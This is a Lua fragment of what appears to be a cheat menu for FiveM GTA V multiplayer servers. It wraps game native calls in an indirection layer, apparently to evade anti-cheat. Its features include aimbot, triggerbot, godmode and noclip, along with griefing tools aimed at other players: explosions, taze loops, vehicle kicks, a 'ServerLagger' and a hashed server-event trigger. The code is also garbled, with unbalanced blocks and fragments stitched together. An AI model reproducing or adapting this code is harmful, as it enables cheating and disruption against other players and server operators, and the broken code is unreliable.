if Fatasf.n.IsDisabledControlJustPressed(0, 22) then
CockT.Inv["Invoke"](CockT.Natives['ApplyForceToEntity'],
Fatasf.n.PlayerPedId(), 3, 0.0, 0.0, 25.0, 0.0, 0.0, 0.0, 0, 0, 0, 1, 1, 1)
end
end
if Cock.Menu.infroll then
for i = 0, 3 do
CockT.Inv["Invoke"](CockT.Natives['StatSetInt'],
Fatasf.n.GetHashKey("mp" .. i .. "_shooting_ability"), 9999, true)
CockT.Inv["Invoke"](CockT.Natives['StatSetInt'],
Fatasf.n.GetHashKey("sp" .. i .. "_shooting_ability"), 9999, true)
end
end
if Cock.Menu.Fire then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
local dict = "core"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire", coords.x,
coords.y, coords.z, 0, 0, 0, 1.0, 0, 0, 0)
CockT.Inv["Wait"](10)
end
if Cock.Menu.Clown then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
local dict = "scr_rcbarry2"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("scr_clown_appears", coords.x,
coords.y, coords.z, 0, 0, 0, 1.0, 0, 0, 0)
CockT.Inv["Wait"](10)
end
if Cock.Menu.LaunchPlayer then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)), 13, 1.0, false, true, 0.0)
end
if Cock.Menu.SpaceX2 then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)), 14, 1.0, false, true, 0.0)
end
if Cock.Menu.giveexplosiveammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
Fatasf.n.AddExplosion(position.x, position.y,
position.z, 7, 10000.0, true, false, 0)
end
end
if Cock.Menu.givemolotovammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
Fatasf.n.AddExplosion(position.x, position.y,
position.z, 3, 100.0, true, false, 0)
end
end
if Cock.Menu.givepropammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
local Objects = {'prop_beach_fire', 'prop_atm_01',
'prop_atm_02', 'prop_aircon_s_07a', 'prop_prop_tree_01', 'prop_prop_tree_02'}
local objhash =
Fatasf.n.GetHashKey(Objects[CockT.Math.random(#Objects)])
Fatasf.n.CreateObject(objhash, position.x, position.y,
position.z, true, true, true)
end
end
if Cock.Menu.tazeloop then
CockT.Global.TazePlayer(CockT.Global.SelectedPlayer)
end
if Cock.Menu.kickfromveh then
CockT.Global.KickFromVehicle(CockT.Global.SelectedPlayer)
end
if Cock.Menu.earrape then
CockT.Global.EarRape()
end
if Cock.Menu.Crosshair then
Fatasf.n.RequestStreamedTextureDict('srange_gen', true)
Fatasf.n.DrawSprite('srange_gen', 'hit_cross', 0.5, 0.5,
0.006, 0.006 * 2.0, 45.0, 255, 255, 255, 255) --srange_gen@hit_cross
end
if Cock.Menu.showcoords then
local playerPed = Fatasf.n.PlayerPedId()
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(playerPed))
playerH = Fatasf.n.GetEntityHeading(playerPed)
Functions.f.DrawTextTest(("~b~X~w~: %s ~b~Y~w~: %s ~b~Z~w~:
%s ~b~H~w~: %s"):format(CockMeni.Functions.FormatCoord(playerX),
CockMeni.Functions.FormatCoord(playerY), CockMeni.Functions.FormatCoord(playerZ),
CockMeni.Functions.FormatCoord(playerH)), false, 0.5, 0, 0.5, 0)
end
if Cock.Menu.roadetector then
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
ActualRoad =
Fatasf.n.GetStreetNameFromHashKey(Fatasf.n.GetStreetNameAtCoord(playerX, playerY,
playerZ))
Fatasf.n.DrawRect(0.21, 0.798, 0.101, 0.0365, 255, 255, 255,
222)
Fatasf.n.DrawRect(0.21, 0.798, 0.1, 0.035, 0, 0, 0, 222)
Functions.f.DrawTextTest(ActualRoad, false, 0.35, 0, 0.21,
0.785)
end
if Cock.Menu.SJump then
Fatasf.n.SetSuperJumpThisFrame(Fatasf.n.PlayerId())
end
if Cock.Menu.maxstamina then
CockT.Inv["Invoke"](CockT.Natives['ResetPlayerStamina'],
Fatasf.n.PlayerId())
end
if Cock.Menu.SemiGodmode then
Fatasf.n.SetEntityHealth(Fatasf.n.PlayerPedId(), 200)
end
Fatasf.n.SetEntityOnlyDamagedByPlayer(Fatasf.n.PlayerPedId(), true)
CockT.Global.TriggerCustomEvent(true,
"c6cf642b8f1cac1101e23a06aa63600e:setI", true)
elseif not Cock.Menu.godmodeglife then
Fatasf.n.SetEntityOnlyDamagedByPlayer(Fatasf.n.PlayerPedId(), false)
--CockT.Global.TriggerCustomEvent(true,
"c6cf642b8f1cac1101e23a06aa63600e:setI", false)
end]]
if Cock.Menu.glifeunlammo then
local _, gun =
Fatasf.n.GetCurrentPedWeapon(Fatasf.n.PlayerPedId())
Fatasf.n.SetPedAmmo(Fatasf.n.PlayerPedId(), gun, 30)
end
if Cock.Menu.lootesp then
Functions.f.PlayersLootEsp()
end
if Cock.Menu.getlootglife then
Functions.f.GlifeKillAllPeds()
end
if Cock.Menu.getlootglife2 then
Functions.f.GlifeKillAllPeds2()
end
if Cock.Menu.fastswim then
CockT.Inv["Invoke"]
(CockT.Natives['SetSwimMultiplierForPlayer'], Fatasf.n.PlayerId(), 1.49)
else
CockT.Inv["Invoke"]
(CockT.Natives['SetSwimMultiplierForPlayer'], Fatasf.n.PlayerId(), 1.0)
end
if Cock.Menu.antidrowing then
CockT.Inv["Invoke"](CockT.Natives['SetPedDiesInWater'],
Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.wantedlevel then
CockT.Inv["Invoke"](CockT.Natives['SetPlayerWantedLevel'],
Fatasf.n.PlayerId(), Cock.Sliders['WantedLVL'].value, false)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWantedLevelNow'], Fatasf.n.PlayerId())
end
if Cock.Menu.antistungun then
Fatasf.n.SetPedCanRagdollFromPlayerImpact(Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.superrun then
if Fatasf.n.IsDisabledControlPressed(0, 34) or
Fatasf.n.IsDisabledControlPressed(0, 33) or Fatasf.n.IsDisabledControlPressed(0,
32) or Fatasf.n.IsDisabledControlPressed(0, 35) then
Fatasf.n.SetEntityVelocity(Fatasf.n.PlayerPedId(),
Fatasf.n.GetOffsetFromEntityInWorldCoords(Fatasf.n.PlayerPedId(), 0.0, 10.5,
GetEntityVelocity(Fatasf.n.PlayerPedId())[3]) -
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
end
if Cock.Menu.ExtraJump then
if Fatasf.n.IsDisabledControlJustPressed(0, 22) then
CockT.Inv["Invoke"](CockT.Natives['ApplyForceToEntity'],
Fatasf.n.PlayerPedId(), 3, 0.0, 0.0, 25.0, 0.0, 0.0, 0.0, 0, 0, 0, 1, 1, 1)
end
end
if Fatasf.n.DoesEntityExist(veh) then
CockT.Inv["Invoke"]
(CockT.Natives['TaskVehicleDriveWander'], Fatasf.n.PlayerPedId(), veh, 40.0, 0)
else
CockT.Inv["Invoke"]
(CockT.Natives['TaskWanderStandard'], Fatasf.n.PlayerPedId(), 10.0, 10)
end
end
if Cock.Menu.NClip then
CockMeni.Functions.instructbutton()
currentSpeed = (Cock.Sliders['NoclipSpeed'].value / 10)
noclipEntity =
Fatasf.n.IsPedInAnyVehicle(Fatasf.n.PlayerPedId(), false)
and Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId()) or Fatasf.n.PlayerPedId()
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), true)
Fatasf.n.SetEntityInvincible(Fatasf.n.PlayerPedId(), true)
yoff = 0.0
zoff = 0.0
local newPos =
Fatasf.n.GetOffsetFromEntityInWorldCoords(noclipEntity,
0.0, yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
heading = Fatasf.n.GetEntityHeading(noclipEntity)
Fatasf.n.SetEntityVelocity(noclipEntity, 0.0, 0.0, 0.0)
Fatasf.n.SetEntityRotation(noclipEntity, 0.0, 0.0, 0.0,
0, false)
Fatasf.n.SetEntityHeading(noclipEntity, heading)
Fatasf.n.FreezeEntityPosition(noclipEntity, false)
Fatasf.n.SetEntityInvincible(noclipEntity, false)
Fatasf.n.SetEntityCollision(noclipEntity, true, true)
end
--
if Cock.Menu.explodeallstations then
local c1 = {x=265.26, y=-1259.92, z=29.14}
Fatasf.n.AddExplosion(c1.x, c1.y, c1.z, 5, 100.0, true, false, 0.0)
local c2 = {x=173.58, y=-1559.83, z=29.0}
Fatasf.n.AddExplosion(c2.x, c2.y, c2.z, 5, 100.0, true, false, 0.0)
local c3 = {x=-69.18, y=-1761.61, z=29.16}
Fatasf.n.AddExplosion(c3.x, c3.y, c3.z, 5, 100.0, true, false, 0.0)
local c4 = {x=1206.3, y=-1404.18, z=36.62}
Fatasf.n.AddExplosion(c4.x, c4.y, c4.z, 5, 100.0, true, false, 0.0)
end
if Cock.Menu.explodemissionrow then
CockT.Global.ExplodeMissionrow()
end
if Cock.Menu.explodegrove then
local ppid = Fatasf.n.PlayerPedId()
--Fatasf.n.SetEntityCoords(ppid, 99.99, -1068.48, 28.3)
Fatasf.n.AddExplosion(124.39, -1929.7, 22.0, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(120.19, -1932.38, 20.74, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(120.41, -1937.65, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(119.18, -1946.69, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(115.06, -1953.9, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(116.23, -1957.94, 20.87, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(111.54, -1961.41, 20.95, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(101.42, -1959.11, 20.08, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(95.92, -1959.12, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(86.24, -1971.49, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(89.41, -1959.04, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(81.24, -1952.1, 20.82, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(76.76, -1958.51, 20.77, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(78.68, -1947.91, 21.17, 20.75, 5,
100.0, true, false, 0.0)
Fatasf.n.AddExplosion(78.59, -1939.9, 20.88, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(74.84, -1932.41, 20.84, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(69.07, -1923.82, 21.23, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(79.81, -1905.57, 21.43, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(91.07, -1916.78, 20.77, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(94.26, -1929.64, 20.8, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(102.07, -1938.0, 20.8, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(103.62, -1945.58, 20.77, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(111.27, -1936.94, 20.79, 5, 100.0,
true, false, 0.0)
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict)
if Cock.Menu.invisible then
Fatasf.n.SetEntityVisible(Fatasf.n.PlayerPedId(), false,
false)
CockT.Inv["Invoke"]
(CockT.Natives['SetEntityLocallyVisible'], Fatasf.n.PlayerPedId(), true)
CockT.Inv["Invoke"](CockT.Natives['SetEntityAlpha'],
Fatasf.n.PlayerPedId(), Cock.Sliders['InvsAlpha'].value)
else
Fatasf.n.SetEntityVisible(Fatasf.n.PlayerPedId(), true,
true)
CockT.Inv["Invoke"](CockT.Natives['ResetEntityAlpha'],
Fatasf.n.PlayerPedId())
end
if Cock.Menu.lagplayer then
local ped =
Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)
Fatasf.n.RequestNamedPtfxAsset("scr_agencyheist")
local pedcoords = Fatasf.n.GetEntityCoords(ped)
Fatasf.n.UseParticleFxAsset("scr_agencyheist")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "scr_fbi_dd_breach_smoke",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("core")
Fatasf.n.UseParticleFxAsset("core")
Fatasf.n.RequestNamedPtfxAsset("scr_rcbarry1")
Fatasf.n.UseParticleFxAsset("scr_rcbarry1")
if Cock.Menu.Spectate2 then
local oldcoords =
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local Player = Fatasf.n.PlayerPedId()
--oldcoords
local ped = Fatasf.n.ClonePed(Player, true, false, false)
while Cock.Menu.Spectate2 do
CockT.Inv["Wait"](0)
local TargetCoords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.SetEntityVisible(Player, false, false)
CockT.Inv["Invoke"](CockT.Natives['SetEntityAlpha'],
Player, 0)
Fatasf.n.SetEntityCoordsNoOffset(Player, TargetCoords.x,
TargetCoords.y, TargetCoords.z+2.2, true, true, true)
if not Cock.Menu.Spectate2 then
Fatasf.n.SetEntityCoordsNoOffset(Player,
oldcoords.x, oldcoords.y, oldcoords.z, true, true, true)
Fatasf.n.SetEntityVisible(Player, true, true)
CockT.Inv["Invoke"]
(CockT.Natives['ResetEntityAlpha'], Player)
Fatasf.n.DeleteEntity(ped)
end
end
end
if Cock.Menu.DisableAllEnginesLoop then
Functions.f.DisableAllEngines()
end
if Cock.Menu.lagserver then
CockT.Global.ServerLagger()
end
if Cock.Menu.tazeloopall then
CockT.Global.TazePlayer(Fatasf.n.GetPlayerPed(i))
end
if Cock.Menu.kickfromvehall then
Fatasf.n.ClearPedTasksImmediately(Fatasf.n.GetPlayerPed(i))
end
if Cock.Menu.earrapeall then
CockT.Global.EarRape()
end
if Cock.Menu.fov then
Fatasf.n.RequestStreamedTextureDict("mpmissmarkers256",
true)
Fatasf.n.DrawSprite("mpmissmarkers256","corona_shade",0.5,0.5,
Cock.Sliders['AimFov'].value / 10 / 150, Cock.Sliders['AimFov'].value / 10 / 150 *
1.8,0.0,90,90,90,90)
end
if Cock.Menu.triggerbot then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and Fatasf.n.IsPedAPlayer(target) then
local x, y, z =
CockT.Strings.tunpack(Fatasf.n.GetPedBoneCoords(target, 0, 0.0, -0.2, 0.0))
Fatasf.n.SetPedShootsAtCoord(Fatasf.n.PlayerPedId(), x,
y, z, true)
end
end
if Cock.Menu.Carkiller then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if Cock.Menu.ragebot then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
local Rotation = Fatasf.n.GetEntityRotation(pPed)
local Direct =
CockMeni.Functions.RotationToDirection(Rotation)
local TargetCoords = Fatasf.n.GetPedBoneCoords(pPed,
31086, 0, 0, 0)
local IsPedAlive = Fatasf.n.IsEntityDead(pPed)
if not IsPedAlive and not
Cock.AimFriends[Fatasf.n.GetPlayerName(v)] then
if Cock.Menu.molotovgun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.AddExplosion(position.x, position.y,
position.z, 3, 100.0, true, false, 1.0)
end
end
if Cock.Menu.Tpgun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.SetEntityCoordsNoOffset(Fatasf.n.PlayerPedId(),
position.x, position.y, position.z+1.0, true, true, true)
CockT.Inv["Wait"](0)
end
end
if Cock.Menu.RPGGun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.ShootSingleBulletBetweenCoords( position.x,
position.y, position.z, position.x, position.y, position.z, 50.0, false,
Fatasf.n.GetHashKey('WEAPON_RPG'), Fatasf.n.PlayerPedId(), true, true, 1.0)
end
end
if Cock.Menu.rapidfire then
CockT.Inv["Invoke"](CockT.Natives['DisablePlayerFiring'],
Fatasf.n.PlayerPedId(), true)
if Fatasf.n.IsDisabledControlPressed(0, 257) and
Fatasf.n.IsPlayerFreeAiming(Fatasf.n.PlayerId()) then
local _, weapon =
Fatasf.n.GetCurrentPedWeapon(Fatasf.n.PlayerPedId())
local wepent =
Fatasf.n.GetCurrentPedWeaponEntityIndex(Fatasf.n.PlayerPedId())
local launchPos = Fatasf.n.GetEntityCoords(wepent)
local targetPos = Fatasf.n.GetGameplayCamCoord() +
(CockMeni.Functions.RotationToDirection(Fatasf.n.GetGameplayCamRot(2)) * 200.0)
Fatasf.n.ShootSingleBulletBetweenCoords( launchPos,
targetPos, 5, 1, weapon, Fatasf.n.PlayerPedId(), true, true, 24000.0)
Fatasf.n.ShootSingleBulletBetweenCoords( launchPos,
targetPos, 5, 1, weapon, Fatasf.n.PlayerPedId(), true, true, 24000.0)
end
end
if Cock.Menu.infammo then
CockT.Inv["Invoke"](CockT.Natives['SetPedInfiniteAmmoClip'],
Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"](CockT.Natives['SetPedInfiniteAmmoClip'],
Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.shootvehs then
local player = Fatasf.n.PlayerPedId()
local _, position =
Fatasf.n.GetPedLastWeaponImpactCoord(player)
local vehicles = {"adder", "banshee", "bus", "freecrawler",
"akuma", "banshee",}
if _ then
local randomvehs =
vehicles[CockT.Math.random(#vehicles)]
if not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey(randomvehs)) then
Fatasf.n.RequestModel(Fatasf.n.GetHashKey(randomvehs))
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey(randomvehs), position.x, position.y,
position.z , 1, 1, 1)
local rotation = Fatasf.n.GetEntityRotation(player)
Fatasf.n.SetVehicleEngineOn(veh, true, true, true)
Fatasf.n.SetEntityRotation(veh, rotation, 0.0, 0.0, 0.0,
true)
Fatasf.n.SetVehicleForwardSpeed(veh, 500.0)
end
end
if Cock.Menu.particlegun then
local currentparticle =
Cock.Menu.ParticleModes[Cock.Menu.CurrentParticle]
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["RIGHT"]) then
Cock.Menu.CurrentParticle = Cock.Menu.CurrentParticle +
1
if Cock.Menu.CurrentParticle > #Cock.Menu.ParticleModes
then
Cock.Menu.CurrentParticle = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["LEFT"]) then
Cock.Menu.CurrentParticle = Cock.Menu.CurrentParticle -
1
if Cock.Menu.CurrentParticle < 1 then
Cock.Menu.CurrentParticle = #Cock.Menu.ParticleModes
end
end
if currentparticle == 'Blood' then
if Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 7)
and Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 6) then
CockT.Inv['Thread'](function() local Z, b2 =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId()) if Z then
local ef = {
{"core", "blood_stab"},
{"core", "td_blood_shotgun"}
}
for eg, eh in CockT.Math.pairs(ef) do if eh
then if eh[1] and eh[2] then while not Fatasf.n.HasNamedPtfxAssetLoaded(eh[1]) do
CockT.Inv["Wait"](0) Fatasf.n.RequestNamedPtfxAsset(eh[1]) end
Fatasf.n.UseParticleFxAsset( eh[1])
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( eh[2],b2 + vec3(0.0, 0.0,
3.5),0.0,180.0,0.0,20.0,false,false,false,false) end end end end end) end
end
if currentparticle == 'Smoke' then
if Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 7)
and Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 6) then
CockT.Inv['Thread'](function() local Z, b2 =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId()) if Z then
local ef = {
{"scr_tplaces",
"scr_tplaces_team_swap_nocash"},
}
for eg, eh in CockT.Math.pairs(ef) do if eh
then if eh[1] and eh[2] then while not Fatasf.n.HasNamedPtfxAssetLoaded(eh[1]) do
CockT.Inv["Wait"](0) Fatasf.n.RequestNamedPtfxAsset(eh[1]) end
Fatasf.n.UseParticleFxAsset( eh[1])
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( eh[2],b2 + vec3(0.0, 0.0,
3.5),0.0,180.0,0.0,20.0,false,false,false,false) end end end end end) end
end
if currentparticle == 'Fireworks' then
if Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 7)
and Fatasf.n.IsPedArmed(Fatasf.n.PlayerPedId(), 6) then
CockT.Inv['Thread'](function()
local Z, b2 =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if Z then
local ef = {
{"proj_indep_firework",
"scr_indep_launcher_sparkle_spawn"},
{"proj_indep_firework_v2",
"scr_xmas_firework_burst_fizzle"},
{"proj_indep_firework_v2",
"scr_firework_indep_burst_rwb"},
{"proj_xmas_firework",
"scr_firework_xmas_ring_burst_rgw"}
}
for eg, eh in CockT.Math.pairs(ef)
do
if eh then
if eh[1] and eh[2] then
while not
Fatasf.n.HasNamedPtfxAssetLoaded(eh[1]) do
CockT.Inv["Wait"](0)
Fatasf.n.RequestNamedPtfxAsset(eh[1])
end
Fatasf.n.UseParticleFxAsset( eh[1])
if Cock.Menu.cvcolour then
local vehicle =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId())
CockMeni.Functions.RGBPicker(CockT.RGBPicker['MyCar'])
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomPrimaryColour'], vehicle, Rv2, Gv2, Bv2)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomSecondaryColour'], vehicle, Rv2, Gv2, Bv2)
end
if Cock.Menu.paintallvehs then
CockMeni.Functions.RGBPicker(CockT.RGBPicker['AllVehicles'])
for vehs in Fatasf.n.EnumerateVehicles() do
--Fatasf.n.RequestControlOnce(vehs)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomPrimaryColour'], vehs,
CockT.RGBPicker['AllVehicles'].red, CockT.RGBPicker['AllVehicles'].green,
CockT.RGBPicker['AllVehicles'].blue)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomSecondaryColour'], vehs,
CockT.RGBPicker['AllVehicles'].red, CockT.RGBPicker['AllVehicles'].green,
CockT.RGBPicker['AllVehicles'].blue)
end
end
if Cock.Menu.hitsound then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and
Fatasf.n.IsPedShooting(Fatasf.n.PlayerPedId()) and Fatasf.n.IsEntityAPed(target)
and not Fatasf.n.IsEntityDead(target) then
--local hitsound =
Fatasf.n.CreateAnDui("https://cock.menu/music/hitsound.mp3", 50, 50)
--Fatasf.n.DestroyDui(hitsound)
Fatasf.n.PlaySoundFrontend(-1, "PROPERTY_PURCHASE",
"HUD_AWARDS", true)
end
end
if Cock.Menu.hitmarker then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and
Fatasf.n.IsPedShooting(Fatasf.n.PlayerPedId()) and Fatasf.n.IsEntityAPed(target)
then
Fatasf.n.RequestStreamedTextureDict('helicopterhud',
true)
for asdi = 0, 25 do
CockT.Inv["Wait"](0)
Fatasf.n.DrawSprite('helicopterhud', 'hud_lock',
0.5, 0.5, 0.023, 0.04, 45.0, 255, 255, 255, 255)
end
end
end
if Cock.Menu.customhud then
CockMeni.Functions.RGBPicker(CockT.RGBPicker['CustomHud'])
CockT.Inv["Invoke"]
(CockT.Natives['ReplaceHudColourWithRgba'], 116, CockT.RGBPicker['CustomHud'].red,
CockT.RGBPicker['CustomHud'].green, CockT.RGBPicker['CustomHud'].blue, 255)
end
if Cock.Menu.tracers then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if Cock.Menu.Aimlock then
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
--for pPed in Fatasf.n.EnumeratePeds() do
local pPed = Fatasf.n.GetPlayerPed(v)
if not Cock.AimFriends[Fatasf.n.GetPlayerName(v)] then
if CockT.Inv["Invoke"]
(CockT.Natives['IsAimCamActive']) and Fatasf.n.IsEntityOnScreen(pPed) and
Fatasf.n.HasEntityClearLosToEntity(pPed, Fatasf.n.PlayerPedId(), 17) then
local coords = Fatasf.n.GetPedBoneCoords(pPed,
31086, 0.0, 0.0, 0.0) --Fatasf.n.GetEntityCoords(k, false)
local _, x_world, y_world =
Fatasf.n.GetScreenCoordFromWorldCoord(coords.x, coords.y, coords.z)
local x_screen, y_screen =
Fatasf.n.GetActiveScreenResolution()
local fovxy = Cock.Sliders['AimFov'].value
local Radius =
Functions.f.TranslateFOVInNumber(fovxy)
local IsInCFOV =
Functions.f.IsInCFOVCircleFOV(x_screen / 2, y_screen / 2, Radius, x_world *
x_screen, y_world * y_screen)
Fatasf.n.DrawLine(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId(), false),
Fatasf.n.GetEntityCoords(pPed, false), red, green, blue, 255)
end
end
end
end
end
end
if Cock.Menu.tinyplayer then
Fatasf.n.SetPedConfigFlag(Fatasf.n.PlayerPedId(), 223,
true)
else
Fatasf.n.SetPedConfigFlag(Fatasf.n.PlayerPedId(), 223,
false)
end
if Cock.Menu.Slowmotion then
CockT.Inv["Invoke"](CockT.Natives['SetTimeScale'], 0.35)
else
CockT.Inv["Invoke"](CockT.Natives['SetTimeScale'], 1.0)
end
if Cock.Menu.force3rdper then
Fatasf.n.SetFollowPedCamViewMode(0)
CockT.Inv["Invoke"]
(CockT.Natives['SetFollowVehicleCamViewMode'], 0)
CockT.Inv["Invoke"]
(CockT.Natives['DisableFirstPersonCamThisFrame'])
end
if Cock.Menu.forcedriveby then
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerCanDoDriveBy'], Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.rainbowworld then
local coords =
Fatasf.n.GetPedBoneCoords(Fatasf.n.PlayerPedId(), 0x796E, 0.0, 0.0, 0.0)
local rgb = Functions.f.RGBRainbow(1.0)
CockT.Inv["Invoke"]
(CockT.Natives['DrawLightWithRangeAndShadow'], coords.x, coords.y, coords.z + 3.0,
rgb.r, rgb.g, rgb.b, 1000.0, 80.0)
end
if Cock.Menu.sexanimation then
local target = Fatasf.n.PlayerPedId()
Fatasf.n.ClearPedTasks(Fatasf.n.GetPlayerPed(target))
Fatasf.n.TaskPlayAnim(target, "rcmpaparazzo_2",
"shag_loop_a", 2.0, 2.5, -1, 49, 0, 0, 0, 0)
Fatasf.n.SetPedKeepTask(target)
else
end
if Cock.Menu.CustomDamage then
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWeaponDamageModifier'], Fatasf.n.PlayerId(),
Cock.Sliders['CustomDamage'].value+0.0)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerMeleeWeaponDamageModifier'], Fatasf.n.PlayerId(),
Cock.Sliders['CustomDamage'].value+0.0)
else
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerWeaponDamageModifier'], Fatasf.n.PlayerId(), 1.0)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerMeleeWeaponDamageModifier'], Fatasf.n.PlayerId(), 1.0)
end
if
CockMenu.Main.FriendsButton(Fatasf.n.GetPlayerServerId(player)..' |
'..Fatasf.n.GetPlayerName(player), Fatasf.n.GetPlayerName(player), 0.33, 0.259)
then
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)] = not
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)]
end
end
--[[for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local position = ( (0.259*1.0) + (i-1) * 0.02) +
CockMeni.Functions.stscr
if position >= 0.259 and position <= OnlineMax then
if CockMeni.Functions.OnlineButton(0.65,
position, false, Fatasf.n.GetPlayerServerId(player),
Fatasf.n.GetPlayerName(player)) then
CockT.Global.SelectedPlayer= v
end
end
end]]
end
end
end)
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
if Cock.Menu.Freecam then
if not shown then
